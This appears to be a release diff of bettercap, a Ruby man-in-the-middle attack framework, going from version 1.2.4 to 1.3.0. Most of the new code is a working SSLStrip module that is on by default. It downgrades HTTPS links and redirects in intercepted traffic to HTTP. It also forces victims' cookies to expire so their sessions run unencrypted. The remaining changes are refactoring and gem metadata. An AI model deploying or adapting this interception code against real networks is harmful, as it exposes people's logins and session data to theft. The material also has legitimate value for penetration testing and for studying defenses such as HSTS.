bettercap 1.2.4 → 1.3.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/README.md +2 -2
- data/lib/bettercap.rb +3 -0
- data/lib/bettercap/context.rb +5 -3
- data/lib/bettercap/network/packet_queue.rb +1 -0
- data/lib/bettercap/options.rb +9 -0
- data/lib/bettercap/proxy/module.rb +8 -5
- data/lib/bettercap/proxy/proxy.rb +2 -2
- data/lib/bettercap/proxy/request.rb +30 -1
- data/lib/bettercap/proxy/response.rb +21 -1
- data/lib/bettercap/proxy/sslstrip/cookiemonitor.rb +60 -0
- data/lib/bettercap/proxy/sslstrip/strip.rb +116 -0
- data/lib/bettercap/proxy/sslstrip/urlmonitor.rb +52 -0
- data/lib/bettercap/proxy/stream_logger.rb +3 -2
- data/lib/bettercap/proxy/streamer.rb +35 -10
- data/lib/bettercap/version.rb +1 -1
- metadata +21 -19
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 6670a29441233971065df36cbeb7acba16762072
|
4
|
+
data.tar.gz: cc8daa2e7840ddc71b3d5925d114be71b219aba9
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 4a280f7c72b0ae33f3d82614657c927c1d24f11fb828df64e954f60021ed7a87c623ec939dc8715f542510d5268f2413325627d38e56a0c5831774aa90e95931
|
7
|
+
data.tar.gz: 5cb2e4adada12bcb02a70b73a07477063423bc0ed9a96ec510de132a00b904152839a2cc8682f6c47b221425880c89d22874a4937c215ee06347b920047178fd
|
data/README.md
CHANGED
@@ -83,9 +83,9 @@ Dependencies
|
|
83
83
|
All dependencies will be automatically installed through the GEM system, in some case you might need to install some system
|
84
84
|
dependency in order to make everything work:
|
85
85
|
|
86
|
-
sudo apt-get install ruby-dev libpcap-dev
|
86
|
+
sudo apt-get install build-essential ruby-dev libpcap-dev
|
87
87
|
|
88
|
-
This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22).
|
88
|
+
This should solve issues such as [this one](https://github.com/evilsocket/bettercap/issues/22) or [this one](https://github.com/evilsocket/bettercap/issues/100).
|
89
89
|
|
90
90
|
Documentation and Examples
|
91
91
|
============
|
data/lib/bettercap.rb
CHANGED
@@ -51,6 +51,9 @@ require 'bettercap/proxy/stream_logger'
|
|
51
51
|
require 'bettercap/proxy/request'
|
52
52
|
require 'bettercap/proxy/response'
|
53
53
|
require 'bettercap/proxy/thread_pool'
|
54
|
+
require 'bettercap/proxy/sslstrip/cookiemonitor'
|
55
|
+
require 'bettercap/proxy/sslstrip/urlmonitor'
|
56
|
+
require 'bettercap/proxy/sslstrip/strip'
|
54
57
|
require 'bettercap/proxy/proxy'
|
55
58
|
require 'bettercap/proxy/streamer'
|
56
59
|
require 'bettercap/proxy/module'
|
data/lib/bettercap/context.rb
CHANGED
@@ -134,7 +134,7 @@ class Context
|
|
134
134
|
|
135
135
|
@proxy_processor = Proc.new do |request,response|
|
136
136
|
if Proxy::Module.modules.empty?
|
137
|
-
Logger.
|
137
|
+
Logger.debug 'WARNING: No proxy module loaded, skipping request.'
|
138
138
|
else
|
139
139
|
# loop each loaded module and execute if enabled
|
140
140
|
Proxy::Module.modules.each do |mod|
|
@@ -183,8 +183,6 @@ class Context
|
|
183
183
|
# Logger is silent if @running == false
|
184
184
|
puts "\nShutting down, hang on ...\n"
|
185
185
|
|
186
|
-
@packets.stop
|
187
|
-
|
188
186
|
Logger.debug 'Stopping target discovery manager ...'
|
189
187
|
@discovery.stop
|
190
188
|
|
@@ -193,6 +191,10 @@ class Context
|
|
193
191
|
spoofer.stop
|
194
192
|
end
|
195
193
|
|
194
|
+
# Spoofer might be sending some last packets to restore the targets,
|
195
|
+
# the packet queue must be stopped here.
|
196
|
+
@packets.stop
|
197
|
+
|
196
198
|
Logger.debug 'Stopping proxies ...'
|
197
199
|
@proxies.each do |proxy|
|
198
200
|
proxy.stop
|
data/lib/bettercap/options.rb
CHANGED
@@ -66,6 +66,8 @@ class Options
|
|
66
66
|
attr_accessor :proxy_pem_file
|
67
67
|
# File name of the transparent proxy module to load.
|
68
68
|
attr_accessor :proxy_module
|
69
|
+
# If true, sslstrip is enabled.
|
70
|
+
attr_accessor :sslstrip
|
69
71
|
# Custom HTTP transparent proxy address.
|
70
72
|
attr_accessor :custom_proxy
|
71
73
|
# Custom HTTP transparent proxy port.
|
@@ -129,6 +131,8 @@ class Options
|
|
129
131
|
@custom_https_proxy = nil
|
130
132
|
@custom_https_proxy_port = 8083
|
131
133
|
|
134
|
+
@sslstrip = true
|
135
|
+
|
132
136
|
@httpd = false
|
133
137
|
@httpd_port = 8081
|
134
138
|
@httpd_path = './'
|
@@ -278,6 +282,10 @@ class Options
|
|
278
282
|
ctx.options.custom_proxy_port = v.to_i
|
279
283
|
end
|
280
284
|
|
285
|
+
opts.on( '--no-sslstrip', 'Disable SSLStrip.' ) do
|
286
|
+
ctx.options.sslstrip = false
|
287
|
+
end
|
288
|
+
|
281
289
|
opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
|
282
290
|
ctx.options.custom_https_proxy = v
|
283
291
|
end
|
@@ -520,6 +528,7 @@ class Options
|
|
520
528
|
'sniffer' => if sniffer then on else off end,
|
521
529
|
'http-proxy' => if proxy then on else off end,
|
522
530
|
'https-proxy' => if proxy_https then on else off end,
|
531
|
+
'sslstrip' => if proxy and sslstrip then on else off end,
|
523
532
|
'http-server' => if httpd then on else off end,
|
524
533
|
}
|
525
534
|
|
@@ -85,12 +85,15 @@ class Module
|
|
85
85
|
# Loop each available BetterCap::Proxy::Proxy module and yield each
|
86
86
|
# one of them for the given code block.
|
87
87
|
def self.each_module
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
88
|
+
old_verbose, $VERBOSE = $VERBOSE, nil
|
89
|
+
Object.constants.each do |klass|
|
90
|
+
const = Kernel.const_get(klass.to_s)
|
91
|
+
if const.respond_to?(:superclass) and const.superclass == self
|
92
|
+
yield const
|
93
|
+
end
|
92
94
|
end
|
93
|
-
|
95
|
+
ensure
|
96
|
+
$VERBOSE = old_verbose
|
94
97
|
end
|
95
98
|
end
|
96
99
|
end
|
@@ -122,10 +122,10 @@ class Proxy
|
|
122
122
|
|
123
123
|
# someone is having fun with us =)
|
124
124
|
if is_self_request? request
|
125
|
-
@streamer.rickroll client, @is_https
|
125
|
+
@streamer.rickroll( client, @is_https )
|
126
126
|
# handle request
|
127
127
|
else
|
128
|
-
@streamer.handle( request, client
|
128
|
+
@streamer.handle( request, client )
|
129
129
|
end
|
130
130
|
|
131
131
|
Logger.debug "#{@type} client served."
|
@@ -23,13 +23,17 @@ class Request
|
|
23
23
|
# Hostname.
|
24
24
|
attr_reader :host
|
25
25
|
# Request port.
|
26
|
-
|
26
|
+
attr_accessor :port
|
27
27
|
# Request headers hash.
|
28
28
|
attr_reader :headers
|
29
29
|
# Content length.
|
30
30
|
attr_reader :content_length
|
31
31
|
# Request body.
|
32
32
|
attr_reader :body
|
33
|
+
# Client address.
|
34
|
+
attr_accessor :client
|
35
|
+
# Client port.
|
36
|
+
attr_accessor :client_port
|
33
37
|
|
34
38
|
# Initialize this object setting #port to +default_port+.
|
35
39
|
def initialize( default_port = 80 )
|
@@ -41,6 +45,8 @@ class Request
|
|
41
45
|
@headers = {}
|
42
46
|
@content_length = 0
|
43
47
|
@body = nil
|
48
|
+
@client = ""
|
49
|
+
@client_port = 0
|
44
50
|
end
|
45
51
|
|
46
52
|
# Read lines from the +sock+ socket and parse them.
|
@@ -121,6 +127,29 @@ class Request
|
|
121
127
|
def to_s
|
122
128
|
@lines.join("\n") + "\n" + ( @body || '' )
|
123
129
|
end
|
130
|
+
|
131
|
+
def to_url(max_length = 50)
|
132
|
+
schema = if port == 443 then 'https' else 'http' end
|
133
|
+
url = "#{schema}://#{@host}#{@url}"
|
134
|
+
url = url.slice(0..max_length) + '...' unless url.length <= max_length
|
135
|
+
url
|
136
|
+
end
|
137
|
+
|
138
|
+
# Return the value of header with +name+ or an empty string.
|
139
|
+
def [](name)
|
140
|
+
if @headers.include?(name) then @headers[name] else "" end
|
141
|
+
end
|
142
|
+
|
143
|
+
# If the header with +name+ is found, then a +value+ is assigned to it.
|
144
|
+
def []=(name, value)
|
145
|
+
@lines.each_with_index do |line,i|
|
146
|
+
if line =~ /^#{name}:\s*.+$/i
|
147
|
+
@headers[name] = value
|
148
|
+
@lines[i] = "#{name}: #{value}"
|
149
|
+
break
|
150
|
+
end
|
151
|
+
end
|
152
|
+
end
|
124
153
|
end
|
125
154
|
end
|
126
155
|
end
|
@@ -47,7 +47,7 @@ class Response
|
|
47
47
|
def convert_webrick_response!(response)
|
48
48
|
self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
|
49
49
|
response.each do |key,value|
|
50
|
-
self << "#{key}: #{value}"
|
50
|
+
self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
|
51
51
|
end
|
52
52
|
self << "\n"
|
53
53
|
@code = response.code
|
@@ -97,6 +97,26 @@ class Response
|
|
97
97
|
@content_type and ( @content_type =~ /^text\/.+/ or @content_type =~ /^application\/.+/ )
|
98
98
|
end
|
99
99
|
|
100
|
+
# Return the value of header with +name+ or an empty string.
|
101
|
+
def [](name)
|
102
|
+
@headers.each do |header|
|
103
|
+
if header =~ /^#{name}:\s*(.+)$/i
|
104
|
+
return $1
|
105
|
+
end
|
106
|
+
end
|
107
|
+
""
|
108
|
+
end
|
109
|
+
|
110
|
+
# If the header with +name+ is found, then a +value+ is assigned to it.
|
111
|
+
def []=(name, value)
|
112
|
+
@headers.each_with_index do |header,i|
|
113
|
+
if header =~ /^#{name}:\s*.+$/i
|
114
|
+
@headers[i] = "#{name}: #{value}"
|
115
|
+
break
|
116
|
+
end
|
117
|
+
end
|
118
|
+
end
|
119
|
+
|
100
120
|
# Return a string representation of this response object, patching the
|
101
121
|
# Content-Length header if the #body was modified.
|
102
122
|
def to_s
|
@@ -0,0 +1,60 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Proxy
|
15
|
+
module SSLStrip
|
16
|
+
|
17
|
+
# Class to handle a cookies for sslstrip.
|
18
|
+
class CookieMonitor
|
19
|
+
# Create an instance of this object.
|
20
|
+
def initialize
|
21
|
+
@set = []
|
22
|
+
end
|
23
|
+
|
24
|
+
# Return true if the +request+ was already cleaned.
|
25
|
+
def is_clean?(request)
|
26
|
+
if request.post?
|
27
|
+
return true
|
28
|
+
elsif request['Cookie'].empty?
|
29
|
+
return true
|
30
|
+
else
|
31
|
+
return @set.include?( [request.client, get_domain(request)] )
|
32
|
+
end
|
33
|
+
end
|
34
|
+
|
35
|
+
# Build cookie expiration headers for the +request+ and add its domain
|
36
|
+
# to our list.
|
37
|
+
def get_expired_headers!(request)
|
38
|
+
domain = get_domain(request)
|
39
|
+
@set << [request.client, domain]
|
40
|
+
|
41
|
+
expired = []
|
42
|
+
request['Cookie'].split(';').each do |cookie|
|
43
|
+
cname = cookie.split("=")[0].strip
|
44
|
+
expired << "#{cname}=EXPIRED; path=/; domain=#{domain}; Expires=Mon, 01-Jan-1990 00:00:00 GMT"
|
45
|
+
expired << "#{cname}=EXPIRED; path=/; domain=#{request.host}; Expires=Mon, 01-Jan-1990 00:00:00 GMT"
|
46
|
+
end
|
47
|
+
|
48
|
+
expired
|
49
|
+
end
|
50
|
+
|
51
|
+
# Return the cookie domain given the +request+ object.
|
52
|
+
def get_domain(request)
|
53
|
+
parts = request.host.split('.')
|
54
|
+
".#{parts[-2]}.#{parts[-1]}"
|
55
|
+
end
|
56
|
+
end
|
57
|
+
|
58
|
+
end
|
59
|
+
end
|
60
|
+
end
|
@@ -0,0 +1,116 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Proxy
|
15
|
+
module SSLStrip
|
16
|
+
|
17
|
+
# Handle SSL stripping.
|
18
|
+
class Strip
|
19
|
+
# Maximum number of redirects to detect a HTTPS redirect loop.
|
20
|
+
MAX_REDIRECTS = 3
|
21
|
+
# Regular expression used to parse HTTPS urls.
|
22
|
+
HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
|
23
|
+
|
24
|
+
# Create an instance of this object.
|
25
|
+
def initialize
|
26
|
+
@urls = URLMonitor.new
|
27
|
+
@cookies = CookieMonitor.new
|
28
|
+
end
|
29
|
+
|
30
|
+
# Check if the +request+ is a result of a stripped link/redirect and handle
|
31
|
+
# cookies cleaning.
|
32
|
+
# Return a response object or nil if the request must be performed.
|
33
|
+
def preprocess( request )
|
34
|
+
# check for cookies.
|
35
|
+
unless @cookies.is_clean?(request)
|
36
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
|
37
|
+
expired = @cookies.get_expired_headers!(request)
|
38
|
+
|
39
|
+
return build_expired_cookies( expired, request )
|
40
|
+
end
|
41
|
+
|
42
|
+
# check for stripped urls.
|
43
|
+
link = @urls.normalize( request.host )
|
44
|
+
if request.port == 80 and @urls.was_stripped?( request.client, link )
|
45
|
+
Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
|
46
|
+
request.port = 443
|
47
|
+
end
|
48
|
+
|
49
|
+
nil
|
50
|
+
end
|
51
|
+
|
52
|
+
# Process the +request+ and if it's a redirect to a HTTPS url patch the
|
53
|
+
# Location header and retry.
|
54
|
+
# Process the +response+ and replace every https link in its body with
|
55
|
+
# http counterparts.
|
56
|
+
def process( request, response )
|
57
|
+
# check for a redirect
|
58
|
+
if response['Location'].start_with?('https://')
|
59
|
+
link = @urls.normalize( response['Location'] )
|
60
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{link}'."
|
61
|
+
@urls.add!( request.client, link )
|
62
|
+
|
63
|
+
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
64
|
+
request.port = 443
|
65
|
+
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
66
|
+
response['Location'] = @urls.downgrade( response['Location'] )
|
67
|
+
|
68
|
+
# retry the request if possible
|
69
|
+
return true
|
70
|
+
end
|
71
|
+
|
72
|
+
# parse body
|
73
|
+
links = []
|
74
|
+
response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
|
75
|
+
if link[0].include?('.')
|
76
|
+
link = @urls.normalize( link[0] )
|
77
|
+
downgraded = @urls.downgrade( link )
|
78
|
+
|
79
|
+
links << [link, downgraded]
|
80
|
+
end
|
81
|
+
end
|
82
|
+
|
83
|
+
unless links.empty?
|
84
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
85
|
+
|
86
|
+
links.each do |l|
|
87
|
+
link, downgraded = l
|
88
|
+
@urls.add!( request.client, link )
|
89
|
+
response.body.gsub!( link, downgraded )
|
90
|
+
end
|
91
|
+
end
|
92
|
+
|
93
|
+
# do not retry the request.
|
94
|
+
false
|
95
|
+
end
|
96
|
+
|
97
|
+
private
|
98
|
+
|
99
|
+
def build_expired_cookies( expired, request )
|
100
|
+
resp = Response.new
|
101
|
+
|
102
|
+
resp << "HTTP/1.1 302 Moved"
|
103
|
+
resp << "Connection: close"
|
104
|
+
resp << "Location: http://#{request.host}#{request.url}"
|
105
|
+
|
106
|
+
expired.each do |cookie|
|
107
|
+
resp << "Set-Cookie: #{cookie}"
|
108
|
+
end
|
109
|
+
|
110
|
+
resp
|
111
|
+
end
|
112
|
+
end
|
113
|
+
|
114
|
+
end
|
115
|
+
end
|
116
|
+
end
|
@@ -0,0 +1,52 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Proxy
|
15
|
+
module SSLStrip
|
16
|
+
|
17
|
+
# Class to handle a list of ( client, url ) objects.
|
18
|
+
class URLMonitor
|
19
|
+
# Create an instance of this object.
|
20
|
+
def initialize
|
21
|
+
@urls = []
|
22
|
+
end
|
23
|
+
|
24
|
+
# Return true if the object (client, url) is found inside this list.
|
25
|
+
def was_stripped?( client, url )
|
26
|
+
@urls.include?([client, url])
|
27
|
+
end
|
28
|
+
|
29
|
+
# Add the object (client, url) to this list.
|
30
|
+
def add!( client, url )
|
31
|
+
unless was_stripped?(client, url)
|
32
|
+
@urls << [client, url]
|
33
|
+
end
|
34
|
+
end
|
35
|
+
|
36
|
+
# Return a normalized version of +url+.
|
37
|
+
def normalize( url )
|
38
|
+
url = if url.include?('://') then url else "https://#{url}" end
|
39
|
+
url = if url.end_with?('/') then url else "#{url}/" end
|
40
|
+
url
|
41
|
+
end
|
42
|
+
|
43
|
+
# Downgrade +url+ from HTTPS to HTTP.
|
44
|
+
# Will take care of HSTS bypass urls in a near future.
|
45
|
+
def downgrade( url )
|
46
|
+
url.gsub( 'https://', 'http://' )
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
@@ -46,7 +46,8 @@ class StreamLogger
|
|
46
46
|
|
47
47
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
48
48
|
# with the +request+ and +response+ most important informations.
|
49
|
-
def self.log_http(
|
49
|
+
def self.log_http( request, response )
|
50
|
+
is_https = request.port == 443
|
50
51
|
request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
51
52
|
response_s = "( #{response.content_type} )"
|
52
53
|
request_s = request_s.slice(0..@@MAX_REQ_SIZE) + '...' unless request_s.length <= @@MAX_REQ_SIZE
|
@@ -58,7 +59,7 @@ class StreamLogger
|
|
58
59
|
response_s += " [#{response.code}]"
|
59
60
|
end
|
60
61
|
|
61
|
-
Logger.raw "[#{self.addr2s(client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
|
62
|
+
Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
|
62
63
|
end
|
63
64
|
end
|
64
65
|
end
|
@@ -18,6 +18,8 @@ class Streamer
|
|
18
18
|
# Initialize the class with the given +processor+ routine.
|
19
19
|
def initialize( processor )
|
20
20
|
@processor = processor
|
21
|
+
@ctx = Context.get
|
22
|
+
@sslstrip = SSLStrip::Strip.new
|
21
23
|
end
|
22
24
|
|
23
25
|
# Redirect the +client+ to a funny video.
|
@@ -30,28 +32,51 @@ class Streamer
|
|
30
32
|
client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
|
31
33
|
end
|
32
34
|
|
33
|
-
# Handle the HTTP +request+ from +client
|
34
|
-
|
35
|
-
def handle( request, client, is_https )
|
35
|
+
# Handle the HTTP +request+ from +client+.
|
36
|
+
def handle( request, client, redirects = 0 )
|
36
37
|
response = Response.new
|
37
|
-
|
38
|
+
is_https = request.port == 443
|
39
|
+
request.client, request.client_port = get_client_details( is_https, client )
|
38
40
|
|
39
|
-
Logger.debug "Handling #{request.verb} request from #{
|
41
|
+
Logger.debug "Handling #{request.verb} request from #{request.client}:#{request.client_port} ..."
|
40
42
|
|
41
43
|
begin
|
42
|
-
|
44
|
+
r = nil
|
45
|
+
if @ctx.options.sslstrip
|
46
|
+
r = @sslstrip.preprocess( request )
|
47
|
+
end
|
48
|
+
|
49
|
+
if r.nil?
|
50
|
+
self.send( "do_#{request.verb}", request, response )
|
51
|
+
else
|
52
|
+
response = r
|
53
|
+
end
|
43
54
|
|
44
55
|
if response.textual?
|
45
|
-
StreamLogger.log_http(
|
56
|
+
StreamLogger.log_http( request, response )
|
46
57
|
else
|
47
|
-
Logger.debug "[#{
|
58
|
+
Logger.debug "[#{request.client}] -> #{request.host}#{request.url} [#{response.code}]"
|
59
|
+
end
|
60
|
+
|
61
|
+
if @ctx.options.sslstrip
|
62
|
+
# do we need to retry the request?
|
63
|
+
if @sslstrip.process( request, response ) == true
|
64
|
+
# https redirect loop?
|
65
|
+
if redirects < SSLStrip::Strip::MAX_REDIRECTS
|
66
|
+
return self.handle( request, client, redirects + 1 )
|
67
|
+
else
|
68
|
+
Logger.info "[#{'SSLSTRIP'.yellow} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
|
69
|
+
end
|
70
|
+
end
|
48
71
|
end
|
49
72
|
|
50
73
|
@processor.call( request, response )
|
51
74
|
|
52
75
|
client.write response.to_s
|
53
|
-
rescue NoMethodError
|
54
|
-
Logger.warn "Could not handle #{request.verb} request from #{
|
76
|
+
rescue NoMethodError => e
|
77
|
+
Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
|
78
|
+
Logger.debug e.inspect
|
79
|
+
Logger.debug e.backtrace.join("\n")
|
55
80
|
end
|
56
81
|
end
|
57
82
|
|
data/lib/bettercap/version.rb
CHANGED
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
|
|
11
11
|
=end
|
12
12
|
module BetterCap
|
13
13
|
# Current version of bettercap.
|
14
|
-
VERSION = '1.
|
14
|
+
VERSION = '1.3.0'
|
15
15
|
# Program banner.
|
16
16
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
17
17
|
end
|
metadata
CHANGED
@@ -1,83 +1,83 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.
|
4
|
+
version: 1.3.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-01-
|
11
|
+
date: 2016-01-24 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
15
15
|
requirement: !ruby/object:Gem::Requirement
|
16
16
|
requirements:
|
17
|
-
- - ~>
|
17
|
+
- - "~>"
|
18
18
|
- !ruby/object:Gem::Version
|
19
19
|
version: 0.7.5
|
20
20
|
type: :runtime
|
21
21
|
prerelease: false
|
22
22
|
version_requirements: !ruby/object:Gem::Requirement
|
23
23
|
requirements:
|
24
|
-
- - ~>
|
24
|
+
- - "~>"
|
25
25
|
- !ruby/object:Gem::Version
|
26
26
|
version: 0.7.5
|
27
27
|
- !ruby/object:Gem::Dependency
|
28
28
|
name: packetfu
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
|
-
- - ~>
|
31
|
+
- - "~>"
|
32
32
|
- !ruby/object:Gem::Version
|
33
33
|
version: 1.1.10
|
34
34
|
type: :runtime
|
35
35
|
prerelease: false
|
36
36
|
version_requirements: !ruby/object:Gem::Requirement
|
37
37
|
requirements:
|
38
|
-
- - ~>
|
38
|
+
- - "~>"
|
39
39
|
- !ruby/object:Gem::Version
|
40
40
|
version: 1.1.10
|
41
41
|
- !ruby/object:Gem::Dependency
|
42
42
|
name: pcaprub
|
43
43
|
requirement: !ruby/object:Gem::Requirement
|
44
44
|
requirements:
|
45
|
-
- - ~>
|
45
|
+
- - "~>"
|
46
46
|
- !ruby/object:Gem::Version
|
47
47
|
version: 0.12.0
|
48
48
|
type: :runtime
|
49
49
|
prerelease: false
|
50
50
|
version_requirements: !ruby/object:Gem::Requirement
|
51
51
|
requirements:
|
52
|
-
- - ~>
|
52
|
+
- - "~>"
|
53
53
|
- !ruby/object:Gem::Version
|
54
54
|
version: 0.12.0
|
55
55
|
- !ruby/object:Gem::Dependency
|
56
56
|
name: network_interface
|
57
57
|
requirement: !ruby/object:Gem::Requirement
|
58
58
|
requirements:
|
59
|
-
- - ~>
|
59
|
+
- - "~>"
|
60
60
|
- !ruby/object:Gem::Version
|
61
61
|
version: 0.0.1
|
62
62
|
type: :runtime
|
63
63
|
prerelease: false
|
64
64
|
version_requirements: !ruby/object:Gem::Requirement
|
65
65
|
requirements:
|
66
|
-
- - ~>
|
66
|
+
- - "~>"
|
67
67
|
- !ruby/object:Gem::Version
|
68
68
|
version: 0.0.1
|
69
69
|
- !ruby/object:Gem::Dependency
|
70
70
|
name: net-dns
|
71
71
|
requirement: !ruby/object:Gem::Requirement
|
72
72
|
requirements:
|
73
|
-
- - ~>
|
73
|
+
- - "~>"
|
74
74
|
- !ruby/object:Gem::Version
|
75
75
|
version: 0.8.0
|
76
76
|
type: :runtime
|
77
77
|
prerelease: false
|
78
78
|
version_requirements: !ruby/object:Gem::Requirement
|
79
79
|
requirements:
|
80
|
-
- - ~>
|
80
|
+
- - "~>"
|
81
81
|
- !ruby/object:Gem::Version
|
82
82
|
version: 0.8.0
|
83
83
|
description: A complete, modular, portable and easily extensible MITM framework.
|
@@ -90,6 +90,8 @@ files:
|
|
90
90
|
- CONTRIBUTING.md
|
91
91
|
- LICENSE.md
|
92
92
|
- README.md
|
93
|
+
- bin/bettercap
|
94
|
+
- lib/bettercap.rb
|
93
95
|
- lib/bettercap/banner
|
94
96
|
- lib/bettercap/context.rb
|
95
97
|
- lib/bettercap/discovery/agents/arp.rb
|
@@ -123,6 +125,9 @@ files:
|
|
123
125
|
- lib/bettercap/proxy/proxy.rb
|
124
126
|
- lib/bettercap/proxy/request.rb
|
125
127
|
- lib/bettercap/proxy/response.rb
|
128
|
+
- lib/bettercap/proxy/sslstrip/cookiemonitor.rb
|
129
|
+
- lib/bettercap/proxy/sslstrip/strip.rb
|
130
|
+
- lib/bettercap/proxy/sslstrip/urlmonitor.rb
|
126
131
|
- lib/bettercap/proxy/stream_logger.rb
|
127
132
|
- lib/bettercap/proxy/streamer.rb
|
128
133
|
- lib/bettercap/proxy/thread_pool.rb
|
@@ -145,32 +150,29 @@ files:
|
|
145
150
|
- lib/bettercap/spoofers/none.rb
|
146
151
|
- lib/bettercap/update_checker.rb
|
147
152
|
- lib/bettercap/version.rb
|
148
|
-
- lib/bettercap.rb
|
149
|
-
- bin/bettercap
|
150
153
|
homepage: http://github.com/evilsocket/bettercap
|
151
154
|
licenses:
|
152
155
|
- GPL3
|
153
156
|
metadata: {}
|
154
157
|
post_install_message:
|
155
158
|
rdoc_options:
|
156
|
-
- --charset=UTF-8
|
159
|
+
- "--charset=UTF-8"
|
157
160
|
require_paths:
|
158
161
|
- lib
|
159
162
|
required_ruby_version: !ruby/object:Gem::Requirement
|
160
163
|
requirements:
|
161
|
-
- -
|
164
|
+
- - ">="
|
162
165
|
- !ruby/object:Gem::Version
|
163
166
|
version: '1.9'
|
164
167
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
165
168
|
requirements:
|
166
|
-
- -
|
169
|
+
- - ">="
|
167
170
|
- !ruby/object:Gem::Version
|
168
171
|
version: '0'
|
169
172
|
requirements: []
|
170
173
|
rubyforge_project:
|
171
|
-
rubygems_version: 2.
|
174
|
+
rubygems_version: 2.5.1
|
172
175
|
signing_key:
|
173
176
|
specification_version: 4
|
174
177
|
summary: A complete, modular, portable and easily extensible MITM framework.
|
175
178
|
test_files: []
|
176
|
-
has_rdoc:
|